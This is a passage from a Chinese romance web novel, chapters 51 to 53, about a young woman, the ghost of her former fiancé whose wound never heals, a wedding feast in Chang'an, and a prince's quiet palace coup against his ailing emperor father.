若是他们生在盛世,没有经历东胡之乱,他们可以一同在兴宁坊长大,青梅竹马,待她及笄后,他们便成亲,一世顺遂,哪怕偶尔会起争执,也不过是为了些鸡毛蒜皮的小事。 若真是那样,该有多好。 可他们不是,他们活在乱世的阴霾下,却做不到苟且偷生。 总要有人在乱世之中扛起肩上重担,比如裴将军,比如埋骨浮屠峪的八万将士。 见她低头久久不言,沈寄时抿唇,正要伸手托起她的脸,却突然觉得伤口一痒,下意识闷哼出声。 桥妧枝低头,湿热的吻落在他胸膛,唇瓣轻轻擦过伤口处。 沈寄时呼吸急促,一个失神,待反应过来,猛地将人提起,抬手擦去沾染到她脸庞的鲜血,抿唇道:“脏。” 桥妧枝抬眸,“哪里脏?” “血脏。” “不过是血罢了,当年我还喝过,有什么脏的?” 沈寄时拧眉,“那不一样,你喝的是——” “是你的血。”桥妧枝伸手抚平他压低的眉骨,一字一句地重读了一遍,“我知道,是你的血。” 修长的指尖在烛光下更显白皙,她摸到他手臂上已经变得浅淡的伤疤,轻声问:“是这里吗,沈寄时?” 周遭落针可闻,沈寄时脖颈泛起淡淡青筋,呼吸愈发急促,许久没有说话。 那就是默认了。 她收回手,目光执拗,看了他一会儿,见他还是不愿说起那件事,只好败下阵来。 她低头看着他胸前伤口,问:“若是我现在为你上药,能止住血吗?” 喉结滚动,他偏头不肯去看她,“没用的,卿卿。等再过几个时辰,我便能将伤口隐去,不必担心。” 桥妧枝心脏骤然泛起密密麻麻的疼,他说的是将伤口隐去,可是这处伤口却永远都在,他会一直那样疼。 在她看不到的地方,默默忍受着经年累月的疼。 也许这才是真正意义上的覆水难收,破镜难圆。 她有些疲惫地闭上眸子,靠在他身边许久没有出声。 血腥气源源不断传来,她用额头轻轻蹭了蹭他手臂,低声道:“沈寄时,下辈子我们换一换吧。” 其实真要论起来,她也不知道,伤身和伤心哪个更好,但是她想和他换一换。 屋内没有关窗户,寒风吹过,两人发丝不分彼此地纠缠在一起。 沈寄时没有说话,直到身边传来平稳的呼吸声,他才扣着她肩膀,在她耳边道:“不换。” 【作者有话说】 [好运莲莲][好运莲莲][好运莲莲] 50-58 第51章 ◎金屋藏娇◎ 被帝王之气冲撞并没有沈寄时想象中恢复得那么快,一连几日,暖阁内都充斥着挥之不去的血腥味。 桥妧枝不敢让旁人进来,只一直守在他身边,守到不知第几日时,她终于忍不住,开始为他处理伤口。 止血药撒下去却不见效,那处伤口顽固地停在胸口,不停地往下淌血。 桥妧枝用沾了清水的帕子为他擦拭伤口旁的血迹,可擦了又流,源源不断,他身上的血好似流不完一样。 即便这几日已经习惯了这样的场景,可看着那血肉模糊的伤口,桥妧枝还是不可避免地难受起来。 沈寄时垂眸看她,低声道:“这些对我无用。” 桥妧枝没出声,只固执地擦过他伤口四周,短暂将那些鲜血擦干净,又用纱布小心翼翼在上面缠绕了一圈。 沈寄时目光在她脸上停留许久,不再吭腔,任由她为自己打理伤口。 她用来缠绕伤口的纱布很厚,鲜血并没有第一时间洇出,好似当真能将血止住一般。 “我知道没用。”她垂下手,盯着他被纱布遮盖住的伤口,长睫微颤,低声道:“我不是在给你缠伤口。” 沈寄时却明白了她的意思。 她不是在给他缠绕伤口,她是想安慰自己,让自己不那么难过。 沈寄时莫名想到了承平二十七年的那场大雪,他单枪匹马出城追胡人,消失那几日,她不知该有多难过,难过积攒的太多,总要爆发,所以她一怒之下退了婚。 他生性愚笨,总有太多事,后知后觉,又悔不当初。 胸前的伤口于他而言就像是树干上的一截朽木,记不起来便不会疼。他将衣衫合上,一偏头,透过木窗看到坏了的秋千,于是道:“桥脉脉,我去给你修秋千吧。” 桥妧枝没什么反应,目光落在他脸上,许久不吭声。 以往她不乐意做什么,便总摆出这样的表情。 拿她没有办法。 两人对视了许久,沈寄时败下阵来,“我不去了,就在这里。” 少女这才起身,将止血药与纱布收进柜中,低声道:“等你伤好再出去。” 顿了顿,她又补充:“起码要我看不到。” 她背对着他,日光正好洒在她身上,在地上映出斜长而浅淡的影子。 于是沈寄时伸手,手掌与影子重合,融为一体。 他突然低笑,“桥脉脉,你有没有听过一个典故?” 桥妧枝没回头,可动作却慢下来,耳朵轻轻动了一下。 “什么典故?” 沈寄时拉长声音:“金屋藏娇。” 桥妧枝:“……” 这人怎么好意思说自己是“娇”的。 她没理他,在屋内点了一只香,抱着小花出了暖阁。 沈寄时抱臂侧身立在窗前,垂眸看向萧瑟庭院。 晌午日暖,桥妧枝撑着手臂在晒太阳,小花窝在她怀里,一人一猫都舒服地眯了眯眼。 沈寄时看了许久,一直看到她有所察觉,仰头望过来,方才收回目光。 黄泉没有阳光,她一定要长命百岁,他想。 此后几日,她日日为他处理伤口,即便他们都知道所做是无用功,可桥妧枝总是孜孜不倦。 似乎,他短暂的不会洇出血的伤口,能让她愉悦许久。 年后不久就是春,如今虽还在正月,春神未到,桥夫人却早早为众人添置了新衣。 桥妧枝去看时,发现自己那一摞衣裙下放着几套属于男子的单衣,花纹样式简单,尺码却比她大许多。 桥夫人面不改色,“春日的衣裳要提前准备,马上就到沈危止的生辰了,阿娘是想提醒你别忘了提前烧给他。” “沈寄时生辰在六月,还有半年光景呢。”她小声说。 桥夫人面上闪过一丝尴尬,正不知如何应对时,转眼看到桥大人下朝归来,于是连忙放下账本迎上去,缓解尴尬。 桥大人扶住夫人的手臂,面色疲惫,语气却诧异:“今日太阳莫不是打西边出来了,夫人竟来迎我。” “置办了春日的单衣,想让你去看看。” 桥夫人推了推他,又见他脸色不好,忍不住皱眉,问:“朝堂可是出了什么事,陛下还没有醒吗?” 桥玹没有去看那些衣裳,只摇了摇头,“已经数日了,只第一日醒了一瞬,便又昏睡过去,一直到今日还没有醒,每日只能食些参汤。” 他说着,挥退下人坐到椅上,为自己倒了杯茶,又看向桥妧枝,道:“陛下上次醒来时,口中唤了沈寄时的名字。” 桥妧枝一怔,心跳骤然加速。 好在桥大人不知她所想,继续道:“钦天监的大人说陛下是梦魇了,如今宫中处处都是天师作法,一片乌烟瘴气,一连作法了几日,却一点用都没有。” 桥大人嘲讽道:“宫中乱,宫外也乱。这一冬没有下雪,长安城内尚且还能稳住,城外其实早就已经乱作一团,如今陛下昏迷,民间已有大梁气数将尽的传言。兴许是被周季然抓怕了,城内到出乎意料地平静。” 气数将尽这四个字非同小可,桥夫人倒茶的手一抖,茶水便洋洋洒洒落在了桥大人衣衫上。 桥夫人连忙拿了帕子要为他擦,可刚伸过去,却被桥大人攥住了手指。 他声音沉重,道:“夫人可知,历朝历代,一旦有这个传言,无论兴亡,数年内必定风雨飘摇。最重要的是,前日钦天监夜观天象,见荧惑守心。” 荧惑守心,国运有厄。心宿乃帝王太子之星,如今太子未立,这代表着什么不言而喻。 桥大人接过帕子为自己擦拭身上的水渍,突然正色道:“我在江南有一处宅院……” “我并不太习惯江南。” 桥夫人打断他,抽回手,转身去翻看新衣,“等大梁稳定一些,夫君可以辞官与我一同去。” 她极少会唤他夫君,桥大人没再出声。 桥妧枝敛眸,觉得自己现在不应当再留在这里,于是将新衣交给郁荷,起身正准备离开,却被桥夫人叫住。 “今日一早有人送来的,险些忘了给你。” 她低头,发现手中被塞了一张喜柬。 暖阁内血腥味彻底散去时,正逢正月初七,彼时天地回暖,一冬的寒意渐渐散去。 桥妧枝捧着一小盅七宝羹,一边听着外面的喧哗一边看沈寄时修秋千。 之前的藤蔓不能用了,他便换了几股新的,看起来很结实,应当可以用几年。 她吞了一小口七宝羹,道:“沈寄时,你有没有听到外面的声音。今日长安有喜事,冯郎君要成亲了。前几日冯郎君送来了喜柬,邀我去吃喜酒。” 唢呐声穿过高墙传到院中,惊起落在树枝上的家雀儿,藤蔓穿过合欢树的枝干,牢牢系在秋千上。 沈寄时回头,对上她清明的目光,若有所思。 将最后一股藤蔓系好,他掸走衣袖上的浮尘。 “卿卿何时回来,我去接你。” 桥妧枝咽下最后一口羹,蹙眉问:“你不随我一同去吗?你与冯郎君也算相识。而且今日兴宁坊特别热闹,你应当会喜欢。” 她记得还在青城县时,邻家的街坊嫁女,正赶上大梁军队休养生息,沈寄时特意下山拉着她跑了一路,去看那对新人拜堂成亲。那时她和沈寄时立在众多宾客里,十指相扣着看了全程。 沈寄时似是也想起了这件事,神情微滞,又很快反应过来,失笑道:“桥脉脉,成亲的大好日子,我去做什么。” 哪有鬼魅去喝活人喜酒的,哪怕主人家不知道,他也不会去给人找晦气。 桥妧枝眉头轻蹙,听懂了他的言外之意,唇角不自觉向下压了压。 她向唢呐声传来的方向看了一眼,正要说自己也不去了,沈寄时却已经行至她身前,扣着她手腕带她向外走。 “你去吃喜酒,我在家里等你。” 不知为什么,听他这么说,桥妧枝心头一软,怔怔看着他。 似有所感,沈寄时走了两步又回头,眉梢微扬,“桥脉脉,你今日好好看看,看久一些,等我们成亲时,也不会慌张。” 他这样的神色,好像在骗人。可桥妧枝就是莫名点了点头,等再回过神时,已经坐上了前往冯府的马车。 她掀开帘子向后望,日光刺得她有些睁不开眼。 喧嚣远去。 庭院内只剩下一个鬼郎君一只狸花猫。 沈寄时抬手在光秃秃的合欢树枝上系了彩色飘带,一直等到一阵风吹来,那些飘带随风飞起,方才收回目光。 他抬步要离开,守在一旁晒太阳的小花却好似察觉到什么,向他这边看来。 沈寄时挑了挑眉,与它对视。 他送过桥妧枝两只狸猫,第一只在东胡之乱时走失了,第二只便是这一只,是他在山上练兵时发现的一窝猫崽中,唯一活下来的那个。 兴许真的是福大命大,桥脉脉带着它一路从蜀州跨越千里回到长安,它竟还安然无恙。 指尖在狸奴额头上轻轻一掠,换来大猫的几声喵喵叫。 沈寄时哼笑一声,穿墙而出。 — 唢呐经过皇城时,声响传入了坐落在皇城脚下的府邸中。 明明是白日,可屋内重重轻纱垂下,好似隆冬傍晚,不见天日。 李御坐在书案前,低声问:“外面出了何事?为何这般吵闹?” 内侍连忙道:“大理寺少卿冯大人今日成亲,喜柬前几日便送来了,殿下还命奴婢准备了礼物送去贺新婚。” 李御恍惚间想起好像是有这么一回事,不由得低笑问:“冯家这么着急成亲,是怕大梁再次乱起来吗?” 无人应答,就连刚刚还在说话的内侍也沉默下去。 李御无声扯了扯唇角,目光落在悬挂于房梁上那把寒光逼人的长剑上。 长剑剑柄上饰有七彩珠、九华玉,可这两样东西,都是回长安之后才镶嵌上去的,最开始,这只是一把削铁如泥的剑。而这把剑,也不会因为镶嵌了珠宝而变得更锋利。 珠光折射下的一瞬间,他想了许多。 他想不通,为何东胡之乱时大梁风雨飘摇,朝臣如同过街老鼠一般被驱赶出长安,他们却还能历经数年收复故土,重建家园。 他更想不通,为何东胡已经被赶出了大梁,可故土却依旧没有变好,大梁依旧摇摇欲坠,危机更胜从前。 此间种种,到底是天命还是人为? 李御握住剑柄,猛地将长剑从剑鞘中抽出一截,动作倏然顿住。 他透过剑身,看到了一个人。 掌心一松,长剑落回剑鞘,李御低头闷笑,转身道:“沈危止,你总算是来了。” 【作者有话说】 荧惑守心是天文现象。“荧惑”是指火星,心是二十八星宿里的心宿二,帝星。古人觉得火星近心宿是侵犯帝星,寓意着灾祸战乱和帝王死去,十分不详。 52 第52章 ◎“沈危止,我看你是畏妻。”◎ 大概是敏锐地察觉到什么,冯家将婚事办得格外低调,唢呐虽吹吹打打绕了兴宁坊一圈,酒席却只在府中简单摆了几桌,宴请的都是冯氏父子朝中同僚与新嫁娘的手帕交。 桥妧枝虽不在二者之中,处在其间却也不尴尬。 这一朝勋贵,绝大部分都历经东胡之乱,是同僚,也曾共患难,都是旧相识,抛却朝堂利益聚在一起时,自然也能共饮一坛酒。 新妇比冯梁要小上几岁,如今才十六,与她的郎君站在一起,倒也十分登对。 桥妧枝恍惚间想起,自己与冯郎君同岁,在长安一众同龄女郎里,是仅有的未曾成亲的人。 婚宴从正午持续到傍晚,华灯初上,冯府屋檐上的红灯笼依次亮起,夜风一吹,挂满了屋檐的红绸随风浮动,好似水中浪花,美不胜收。 果酒甘冽却不醉人,桥妧枝饮下一整坛,方有三分醉意。 身侧觥筹交错,同桌的女郎郎君坐在一起行酒令,月色照在酒杯里浮动的佳酿上,水波中泛起一层银光。 “桥姑娘。” 身侧一个圆脸娇俏的女郎唤她,好心提醒道:“轮到女郎了,这次是一个月字。” 桥妧枝回神,去看头顶,只见细长的弯月悬挂于天际,正泛着淡淡清辉。 她第一时间想到了还在等她的沈寄时,月亮一出,他又要开始承受严寒之苦了。 饮下杯中酒,她当即起身告辞。 同桌的众女郎见她神色焦急也没有阻拦,一一与她告别,便继续之前的酒令。 冯府大门敞开,宾客往来不断,桥妧枝与众人擦肩而过,跨过门槛,喧嚣声立即淡去许多。 外面是寂静长巷,一回头,身后却是人声鼎沸。 一步之遥,仿佛两个世界。 她只停留了一瞬,便乘上了回府的马车。 那些热闹的声音被抛在身后,马蹄踏在青石板上发出有规律的哒哒声响,不好听,却令她格外安心。 回到庭院时已是月上梢头,桥妧枝推开暖阁的门,却没有看到想见的人。 她立在门前发了一会儿呆,紧接着去看院中那棵合欢树,环顾四周,空旷的院中并没有沈寄时的身影。 那个说要等她回家的人不在,去哪里了? 是去黄泉,还是去皇宫? 说好的不会不告而别呢? 身上仅有的三分酒意也彻底散去,桥妧枝脸色有些苍白,她在原地站了许久,决定出去找一找他。 兴许是他傍晚出府却忘了回来的时间,没有赶在月光出现前回来呢。 她轻轻抚上心口,一转身,却迎面撞上了一堵人墙。 视线一瞬间被占满,她还未来得及分辨,就落入一个满是霜雪的怀抱中。 “桥脉脉。” 熟悉声音响在耳侧,一刹那,桥妧枝放开了呼吸,心跳终于稳稳落在了实处。 她这才意识到,自己好像并没有刚刚表现得那么冷静,她还是很害怕,怕他不见了,更怕他一走了之。 霜雪打湿了领口,水滴顺着她锁骨滑进胸口,很不好受,可她却伸手环抱住他脖颈,让自己更贴近几分,埋怨道:“你不是说要在家等我吗?最后又跑到哪里去了?” 其实是有些生气的,以前在蜀州就是这样,说好要下山陪她看灯,可她左等右等,却等来了军情紧急,他要出征的消息。 这么多年,沈寄时的信誉在她这里约等于无。 “我去寻了李御。” 桥妧枝一听便有些着急,“你去寻他做什么,他要是请道士把你抓起来怎么办?你以为你有几条命!” 他并不在意,冷地牙齿都在打颤,却还是尽量说给她听:“从他府中出来时已是傍晚,我便想去冯府外等你,与你一同回家。” 桥妧枝手臂微微收紧,又好气又好笑道:“我早就走了呀。” 沈寄时扯了扯唇角,“在外等了许久,后来察觉不到你的气息,才意识到你提前离开了,于是回来找你。桥脉脉,我隔着很远看了一眼,冯府的新婚酒席可真热闹,就是不如我想象中的,我们的,热闹。” 说话间,他声音越来越小,直到最后,需要桥妧枝努力凑近,才能听清他说什么。 我们的什么? 我们的婚宴吗? 她轻声问,可抱着她的人已经陷入了昏睡,并不能再回答她。 真冷啊。 桥妧枝觉得有些好笑,她于寒风中被冰山环抱,却不愿意挣脱。 站在暖阁外,她偏头望向树梢上的弯月,突然许下一个愿望:要是人间无月就好了。 这么想有点自私,毕竟天下人还是喜爱月亮的多。 那不如,让沈寄时少受点苦就好了。 或许是他们距离太近,本应落在沈寄时肩上的雪不可避免地落到了她身上。 长睫覆上霜雪,桥妧枝伸手去接,看着那一冬都没有降临在长安的冰晶在自己掌心融化,一看就是许久。 于是第二日,她毫不意外地成,病了。 上了年纪的张太医再一次背着药箱哼哧哼哧地从太医院来到桥府,看着她表情有些一言难尽:“这是风寒之症,女郎这半年生了许多病,就算心中难过,也要爱惜自己的身体啊,怎可这般消磨身子。” 桥妧枝鼻尖通红,打了个喷嚏,瓮声瓮气道:“这半年应当是没怎么生病……” 张太医看了她一眼,忍了忍,没忍住,“这哪里是没怎么生病的样子,昨日吃了些喜酒,夜风一吹就得了风寒,可见身体极虚,需要大补。” 哪里是吃酒吹风得的风寒,分明是抱了半宿的冰山才得了风寒。 可这自然不能说,桥妧枝便不吭声了,眼睁睁看着张太医为自己开了治风寒和补身体的药方,又去寻阿娘爹爹商论有关她的病症。 讪讪收回目光,她转头看向立在一旁的沈寄时,幽幽道:“我觉得张大人医术一般。” 说得很小声,生怕已经走远的张太医听到。 沈寄时抬眸,脸色有些不好,却没出声,将她抱起走上暖阁,不由分说塞进了棉被中。 暖阁门窗紧闭,又添了三只炉子取暖,桥妧枝处在其中,只觉得头脑昏沉,仿佛被放进了一口刚刚起火的大锅。 桌案上的梅枝已经换了一茬新的,只是屋内太热,开出来的花都有些蔫。 “沈寄时。” 她拽了拽他衣袖,试图从棉被中出来,“我有些热。” 沈寄时毫不犹豫将人按回去,冰凉的手揩去她额头的汗,低叹道:“我去两只炉子,卿卿别出来。” 话音落下,他未动,墙角的两只炉子却熄灭了。 桥妧枝抓着他袖口,双颊红扑扑,抬眼望他,小声问:“沈寄时,鬼魅也会生病吗?” “鬼魅也会生病,就像人一样,病了同样难受。” 沈寄时攥住她的手,用一种不容拒绝的语气道:“桥脉脉,今后月夜,你离我远一些。” 裹在被子里的人没出声,显然是不愿意答应。 于是两人就开始了长久的僵持,谁都不说话。 就如同他们之前每次起争执一样,好像谁先开口,谁就认输了。 沈寄时攥着她纤细的手腕,感受到她身上散发的蓬勃热意,突然想起一件许久之前的事。 那是承平二十七年的夏日,长安落了一场大雨,天地一新。 他一人率军前往洛阳抓胡人,一走就是两个月,走是还是初夏,回来时满池的荷花就已经开成了一片。 李御提着一壶烈酒前来接他,他看向城内,左看右看,没有看到熟悉的身影。 “别看了,我出来时问了桥姑娘,她说约了人去赏荷,没空来接你。” 沈寄时冷冷看他一眼,打马进长安,“谁要她来接,脾气真是越来越差。” 两匹骏马并辔而行,李御一听就乐了,道:“你说谁脾气差,我就没见过比桥姑娘脾气更好的女郎。” 沈寄时挑眉看了他一眼,没反驳,眉宇间带上了一丝得意。 看不惯他这副模样,李御磨牙,故意气他:“不过嘛,脾气好是好,就是不解风情,只对别人好。至于你,桥姑娘总是凶你,这样的女郎我可不敢娶。” 话还刚落,胸口就猝不及防挨了一记重拳,李御一时不备,险些从马上栽下去。 “你说谁不解风情?” “你说谁凶?” “你想娶桥脉脉她也看不上你,两个月不见真是吃多了猪尾巴,就知道嚼舌根。” 好不容易抓着缰绳扶稳身子,李御疼得龇牙咧嘴,险些被气笑了,一拳还回去,“沈危止,你有病吧!” 沈寄时纹丝不动,仰头灌了一口酒,不吭声。 李御愤愤,抢过酒坛也喝了一口,擦了擦嘴问:“怎么回事,这次又因为什么起了争执?” “老生常谈。” 他只含糊说了一句,紧接着就给自己灌酒。 长安大街人来人往,好歹是个长宁侯,白日纵酒像什么话。 李御夺过他的酒壶,仰头眯眼道:“以前在蜀州时,我觉得这天下没有比你们更相配的人了。谁知道一回长安,你们两个整日争执来争执去,有什么意思。与其这么下去,不如早日退婚,另觅良缘。” 他说完,悠悠回头,却见身侧人早就已经越过他纵马往前去。 “哎?沈大将军你做什么去,朱雀大街上好的酒楼里摆了酒席,一众兄弟等着给你庆功呢!” “不去了,账记在长宁侯府。” 沈寄时撂下一句话,勒起缰绳,双腿一夹,身后便扬起一阵尘土。 李御呸了一嘴灰尘,大笑道:“沈危止,我看你是畏妻。” 声音很大,走远的人听见了,却没有回头。 他还要回去等桥脉脉寻他,谁要和他们去喝酒。 可是那一日,他派了七八个人轮番在桥府门外“状似无意”提起沈寄时回长安的事,却不想一直到傍晚,扬言出去赏荷的人都没有踏出桥府的石阶。 月上中天时,长宁侯府依旧寂静。 沈萤提着鸟笼逗鸟,嘲笑他:“你再不处理伤口,就要变成干尸了。” 腰间的伤口不断往外渗血,沈寄时没动,眼神都没有给她。 心高气傲的沈小侯爷终于后知后觉地意识到,他与桥脉脉之间,总要有一个先低头,而那个人不会是桥脉脉。 兴宁坊能有多大,他披上衣服起身出门,沿着巷子往外走,半炷香的时辰便能看到桥府门前高高的石阶。 大可以以沈寄时的身份敲门拜访,可他想了想,最终爬上了她庭院的墙头。 庭院内一片漆黑,屋内没有亮灯,他有些失落地想,原来她已经睡下了,一整日,她都没有要去寻他的意思。 盛夏时节,暖风拂过,给他心尖带上了一股躁意。 衣衫被风吹起,沈寄时掀起衣袍坐在墙头,准备在这里呆上一整夜,等明日她醒了,他就主动去认个错。 “沈寄时?” 略带迟疑的声音在墙下响起。 沈寄时立即低头,看到少女立在墙下,正仰头诧异看着他。 一瞬间,周遭的风好似都停了,原本已经沉寂的心脏忽然又开始变得活蹦乱跳。 他望着那双清澈如水的眸子,忽然什么都说不出来。 “大半夜的,沈将军在这里做什么?” 她率先反应过来,声音有些清冷,偏过头去不看他,显然还没有消气。 从他的角度,只能看到她头顶淡黄色的绒花随风微动。 气性真大。 “卿卿。” 他破天荒放软了声音,让自己变得更加可怜,“我受了伤,沈萤今日未曾归家,阿婆早早睡了,无人给我上药。” 少女将头垂得很低,不太相信,“偌大的侯府难不成找不到为将军上药的人吗?” 还是第一次从她口中听到她唤他将军。 沈寄时许久没出声,不知过了多久,终于道:“腰间被胡人捅了一刀,一直在流血,旁人的药不管用,只想让卿卿为我上药。” 桥妧枝终于抬头,看到他有些苍白的脸,终究还是心软了。 “你下来,我为你看看。” 沈寄时微微躬身,“流了许多血,没有力气跳下去了。” 少女脸上浮现一丝紧张,也忘了生气,伸手道:“那你小心些,我在这里接着你。” 说完,她又觉得不妥,“你等等,我去给你拿梯子。” 她说着,立即转身,可刚离开两步,却听身后人唤她:“桥脉脉。” 下意识回头,视线一晃,还在墙上的人却已经跳到了她身前,一把将她拥入怀中。 语气带笑,他流里流气地在她发间亲了一口,道:“桥脉脉,你还生气吗?” 生气! 特别生气! 尤其是发现,她好像又被他骗了。 伸手想要将他推开,可刚碰到他腰间,指尖却触碰到一片浓稠的黏腻。 他手掌扣住她手腕不让她离开,任由自己的血糊了她一手,笑眯眯地问:“桥脉脉,你还生气吗?” 桥妧枝被气得眼睛都红了,她觉得沈寄时有病,想要骂他,可张了张嘴,却怎么都骂不出来。 沈寄时变了,可她总是拿他没有办法,谁叫他是沈寄时。 “我不生气了。”她眼底满上一层水雾,咬牙道:“沈寄时,你先跟我进去上药。” 他轻笑一声,一边跟着她走,一边暗骂自己真是浑蛋。 伤口很疼,疼得他思绪混乱,身上浮动的血腥气仿佛都化作了梅香,将他从回忆带到现实。 他们僵持间,桌案上的檀香已经烧了一半。 指腹轻轻摩挲她手背上一枚小痣,沈寄时神色无奈,道:“卿卿,就算是不离我远些,也不要在我身边呆太久。” 他说完,许久没有听到她回答,一低头,却见少女汗湿的发丝贴在额头,不知什么时候已经睡着了。 兴许是难受,她睡时薄唇微启,呼吸有些重,好在睡得十分沉。 冰凉的吻落在她眼角,她没有醒。 53 第53章 ◎弑父夺权◎ 风寒之症不容易好,桥妧枝一病就是数日,暖阁内的梅香不知不觉间被苦涩的汤药味取代。 张太医开的药苦,沈寄时每每端来喂给她喝,桥妧枝就老大不乐意,可最终在他的坚持下还是乖乖捏着鼻子喝完,临了还要加一句张太医医术寻常的气话。 好在张太医不常来,若是听到这句话,非要与桥大人论个长短不可。 “张太医自幼学医,他的父亲祖父都曾在太医院任职,备受帝王器重。” 沈寄时将药盅收好放到门外,回身看她,“他的医术一直很好,当年在蜀州经常为百姓义诊,称得上妙手回春。” 桥妧枝恹恹垂眸,不自然道:“我知晓啊,我们离开时,青城县百姓都很舍不得他。” 闻言,沈寄时一怔,挑了挑眉,闷笑出声。 缩在杯子里的桥妧枝抬眼,不知为什么,也跟着笑起来。 只是因着病,鼻塞的同时声音还十分沙哑,笑起来有些像鹅叫。 沈寄时看着她,整张脸都不自觉柔和下来,只是笑声更大了。 “沈寄时!” 意识到他在嘲笑她,桥妧枝当即掀起棉被就去拽他衣襟,只是还没出来,就被他眼疾手快按了回去。 “都病了还不老实。” 将棉被一裹,掌心下意识在她腰间一拍,眯眼道:“喝了药就快睡,睡醒病就好了。” 桥妧枝冷哼,锤了他胳膊一拳,咻一下缩回被里,闭上眼睛装睡。 被打了也不在意,沈寄时懒洋洋躺在她的床上,莫名轻松。 门外突然响起不徐不疾的脚步声,郁荷端起见了底的药盅,隐约听到内里传来女郎的轻笑声。 她抿唇,怔怔走下阁楼,直到日光落在她手背,察觉到一阵暖意,方才回神。 有人在庭院外唤她:“郁荷姑娘,女郎的药盅收回来了吗?” “收回来了。”她应着,快速往外走了两步,行至门前,又忍不住回头看了一眼。 白日清风,暖阁开着窗,只见一只硕大的狸猫正窝在上面晒太阳。 她收回目光,抬脚跨出庭院。 七副药喝完时,桥妧枝的风寒已经大好,只夜间偶尔还会轻咳几声。 停药那天是正月十五,清晨一早,长安罕见地落了一层浅霜。 天际一片黯淡,百姓惊喜之余纷纷立在门前等初雪,可当钟楼上的那口大钟响彻京城时,枝头上的浅霜渐渐开始融化。 百姓长吁短叹,可碍于禁军威严,终究无人敢说什么。 年节将过,众人都知道,今年不会落雪了,圣文帝留给钦天监最后的日子也到了期限。 早就料到了这个结果,可依旧难免失望,钦天监的大臣看着晦暗的天地战战兢兢跪了一地。 都是曾算尽天命之人,也明白自己大限将至,无力回天,等圣上醒时,就是他们人头落地时。 身穿道袍的年轻郎君目光空洞,喃喃道:“师父曾为我卜过一卦,说我命宫宽阔,眉浓而长,是长寿之相。” 为首的监正苦笑,“时也命也,两任监正那等天纵奇才都被圣上斩杀,你我这等平庸之人,难不成还能忤逆天子吗?” 正如监正所言,这日傍晚,昏迷十余日的圣文帝终于醒了。 寝宫帐暖,药香肆溢。 年迈的帝王缓缓睁开眼,发出一声轻咳,顷刻间,宫人便跪了一地。 烛光昏暗,圣文帝只觉眼前好似蒙了一层薄雾,令他视线模糊不清。 下意识伸手去摸,却碰到了一双布满指茧的大手,这是一双属于年轻人的手,上面的厚茧都是常年手握兵器留下的。 那双手一动不动,任由圣文帝不停摸索。 “是谁啊?” 苍老的声音在空旷的殿内响起,隐隐还有回声传来。’ “父皇。” 李御看着那双如同枯树皮一般,骨头凸起的手,神色晦暗,终于出声。 “原是十二啊。” 圣文帝微微放心,重新闭上眼睛,“睡得太久,眼睛倒有些睁不开了,如今是什么时候了?” “启禀父皇,今日是正月十五,上元节,长安满街花灯,十分热闹。” 圣文帝再次睁开浑浊的双目,目光空洞,沉声道:“竟已是正月十五,那长安可下雪了?” “若是没有,咳咳……若是没有……” 圣文帝双手突然用力,冲着李御的方向,果决道:“若是无雪,十二,你现在就传令,将钦天监众人全部押进刑部大牢,斩立决!” 果然是当久了帝王的人,即便尚在病中,最后三个字都带着不容置喙的果断杀伐。 帷幔之后,皎洁月光透过木窗投到跪在地上的宫人头顶。 月色这样好,哪里来雪? 守在一旁的大太监摇了摇头,上前道:“陛下,长安还——” “下雪了。” “父皇,今日长安下了好大的雪。” 李御声音无波无澜,面无表情当着众人的面欺君,“这场雪,比承平二十七年那场还要大,大梁自今日起必定国运昌盛,威加四海。” 大太监猛地抬头,不可置信地看着他。 李御偏头,冷厉的目光落在大太监身上,隐约透出杀意。 双腿颤抖,手中的拂尘险些拿不稳,大太监向四周看去,惊觉偌大的宣政殿不知不觉,竟多出了许多生面孔。 他猛地跪下,颤声道:“是啊陛下,今日长安大雪,百姓有救了。” “下雪了?” 圣文帝没有察觉到不对,转头看向身前模糊的影子,短促地一声又一声地笑起来,“下雪了,十二,朕没有做错什么,天佑大梁,上天是认可朕的功绩的。” 话音落下,满殿宫人匍匐在地,高呼:“陛下圣明,千秋万岁。” 圣文帝大笑,一把拽过李御的手,道:“十二,你立即派人去古楼观请天师,告诉那里的天师,如今鬼魅横行长安,妄图以残魂弑君,朕要驱鬼!朕要让他魂飞魄散!” 李御猛地起身,隔着重重帷幔去看躺在床上的君王。 这个人是他的生身父亲,更是大梁的君王,可他却要一个为国战死的忠臣良将魂飞魄散。 许久没有听到声音,圣文帝疯狂拍打身下的床榻,激动道:“十二!朕的旨意,你刚刚可听到了?为何不说话!为何不说话!” 自然是听到了。 正是因为听到了,他才不可置信。 李御薄唇崩成一条直线,最终还是缓声道:“儿臣领旨。” 宣政殿的大门被缓缓关上,宫人鱼贯而出。 跟在圣文帝身边数年的大太监跪在殿前的白玉转上,仰头看着这位不知不觉间早已长大的十二皇子,主动投诚道:“宣政殿如今都是殿下的人,老奴以为,必须要及时封锁消息,以免走漏风声,给旁人可乘之机。” “陛下手中尚有兵马,安插在宫中的眼线老奴也都知晓在何处,可助殿下一臂之力!还有周将军,对,周季然,他是陛下的人,殿下不可不防。” 当一个帝王开始苍老,他手中的权柄便会如同他的容颜一样流逝。 就连跟在身边侍奉多年的宦臣都可以瞬间倒戈,足以见证一个帝王的失败。 李御俯身看他,突然一脚踹在他肩膀,将他踹得一个踉跄。 大太监往后仰了几瞬,连忙稳住身体,不敢抬头。 他其实有些想不通,陛下已是风烛残年,自太子死后,众多皇子中再没有比十二皇子更适合做储君的人选,他为何还要冒天下之大不韪篡位夺权呢? 李御背对着他,一言不发,直到太医缓缓从殿内走出。 “启禀殿下,圣上的身子已经大好,只要再修养一段时日,便能无碍。” 这位带着大梁由盛转衰的帝王,终究命不该绝。 李御闭眸,对身侧亲信低声道:“立即封锁陛下已醒的消息,同时卸下禁军统领的兵甲,自今日起,不允许任何人踏进宣政殿一步。” “还有周季然。” 他双臂撑在白玉栏杆上,任凭夜风将他衣衫吹起。 “明日一早,抄了周季然的府邸。” 他立在长长的白玉阶上,举目四望。 明明是上元佳节,可偌大的皇宫却很是清冷。 恍惚间,他想到还在蜀州山上时的光景。 彼时尚年少,上元佳节,他和一众将士下山吃酒闲逛,县城中花灯远不如长安这般多种多样,可却一个挨一个地排满了长巷,好不热闹。 他有时抱着剑,在灯影下看一群书都没有读过的粗犷汉子猜花灯,若是谁能侥幸猜中一个,猜中之人就会自掏腰包多买一壶酒。 少年心性,一逛就停不下来,每年都要等到子时钟声响起才会慢悠悠往山上走。 有时喝多了,第二日还会被裴将军责骂,只是当真奇怪,每年与他一同被骂之人都有沈寄时。 